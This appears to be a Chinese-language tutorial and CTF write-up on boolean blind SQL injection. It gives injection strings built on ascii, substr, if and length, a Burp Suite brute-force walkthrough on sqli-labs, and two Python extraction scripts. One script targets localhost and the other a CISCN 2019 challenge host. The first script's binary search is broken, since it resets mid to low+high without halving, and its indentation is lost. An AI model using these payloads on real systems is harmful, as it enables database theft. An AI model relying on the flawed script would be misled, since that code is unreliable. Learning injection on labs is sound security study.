使用条件:
没有回显位,报错也不会回显有用信息,页面有真假值两种状态。
函数
ascii函数:
用ascii码转换的形式将字母转换为数字:
因为ascii函数只转换第一个字母,所以常需要配合substr函数
substr函数
用于从字符串中提取字符
substr(string, start, length)
string:要提取子串的原始字符串。
start:起始位置,指定从原始字符串的哪个索引开始提取子串。
lengh:可选参数,指定要提取的子串的长度。如果省略,则提取从起始位置到字符串末尾的所有字符。
limit函数
limit用于限制输出行的数量,如limit 1,3表示从第1行开始,输出3行,但是limit时从0开始数。
例:
盲注执行:
如查询命令:
?id=1' and ascii(substr((select database()),1,1))>=110 --+
意思是先查询库名,用substr从第一个开始一次返回一个字母,并用ascii转换为数字,与>=110进行验证,当正确是回显真页面,错误回显假页面。
常用脚本,手注的话常用二分法
下例中可知当前页面库名的第一个字母的ascii码大于110
然后改成120,返回假页面,所以当前页面库名的第一个字母的ascii码不大于120,所以在110~120之间
最后一步步验证得出当前页面库名的第一个字母的ascii码为115,即可知道当前页面库名的第一个字母为s
然后改substr函数中的参数,返回当前页面库名的第二个字母,按上面的步骤一步步来,直到拿到所有字母。
想执行其他查询语句就把select database()换成其他语句就行
盲注脚本
一般来说一个一个手注太麻烦了,都是用脚本
网上盲注的脚本也比较多,找几个做题时根据情况改就行了
import requests
def half(url):
name = ''
for i in range(1, 20):
low = 32
high = 126
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(),%d,1))> %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url, params=params)
if 'You are in' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high)
if mid == 32:
break
name += chr(mid)
print(name)
url = 'http://127.0.0.1/sql/Less-8/'
half(url)
bp爆破
用脚本主要是用循环改数字
这个功能bp爆破模块同样可以实现
例:sqli-labs-08
需要先判断下长度,不然要发的包太多了
比如我们需要爆数据库名
?id=1' and if(length(database())=1,1,0)=1--+
命令比较简单,利用length函数于if语句
类型设数值
结果如下图,很明显,长度是8
然后爆库名:
?id=1' and if(substr(database(),1,1)='a',1,0)=1--+
用集束炸弹模式
设两个payload
第一个长度,从1到八
第二个字母,字典包括0-8,a-z,A-Z,还有特殊字符
爆破结果
对比长度,看的出前面这些就是正确的了
按1-8组合一下就行:security
把大小写都爆出来了
感觉还是脚本好用
回显限制
有回显限制的问题,常用limit函数
比如:
?id=1' and ascii(substr((select username from users),1,1))
此时会把所有的username当合成一行来返回
但是回显有一定的数量限制,有时太长则无法全部返回
此时可以配合limit函数来一行一行的返回
?id=1' and ascii(substr((select username from users limit 0,1),1,1))
例题:
[CISCN 2019华北Day2]Web1
已经告诉了我们flag的位置
这样就省去了查库查表查列的步骤
先测试下
输入1,回显Hello, glzjin wants a girlfriend.
输入2,回显Do you want to be my girlfriend?
输入其他数字,都回显Error Occured When Fetch Result.
1‘回显bool(false)
1‘#回显SQL Injection Checked.
有过滤
fuzz跑一下
过滤了很多
但是bool盲注的函数都还在
因为输入1和2回显的内容不同,所以我们可以用一个if语句还判断
比如:
if(1=1,1,2)
if语句里有三个参数
第一个1=1是需要判断的语句,如果为真则返回第二个参数1,如果为假则返回第三个参数2
放到题目里试一下
先试下if(1=1,1,2)
因为1=1为真,所以if语句返回1,此时页面回显Hello, glzjin wants a girlfriend.
再试下if(1=2,1,2),此时1=2为假,if语句返回2,所以页面返回Do you want to be my girlfriend?
可以看到用if语句来控制真假的方法是可行的
所以,此时我们只需要将if语句里换成我们想要执行的查询语句即可
if(ascii(substr((select(flag)from(flag)),'1',1))='102',1,2)
因为flag的第一个肯定为f,对应十进制为102,所以此时返回1
把102换成其他的就返回2了
同理可以试一下第flag的第二个l,对应十进制为108
if(ascii(substr((select(flag)from(flag)),'2',1))='108',1,2)
所以没问题
但一个一个试肯定太慢了,所以用一个python脚本
import requests
flag = ''
url = 'http://50023ac3-de15-4731-adce-438ce6f6b106.node5.buuoj.cn:81/index.php'
for i in range(1, 50, 1):
for y in range(1, 128, 1):
payload = 'if(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))=' + str(y) + ',1,2)'
datas = {"id": payload}
content = requests.post(url, data=datas)
if "glzjin wants a girlfriend" in content.text:
flag = flag + chr(y)
print(flag)
break
抓包可以看到查询用的post传参,参数是id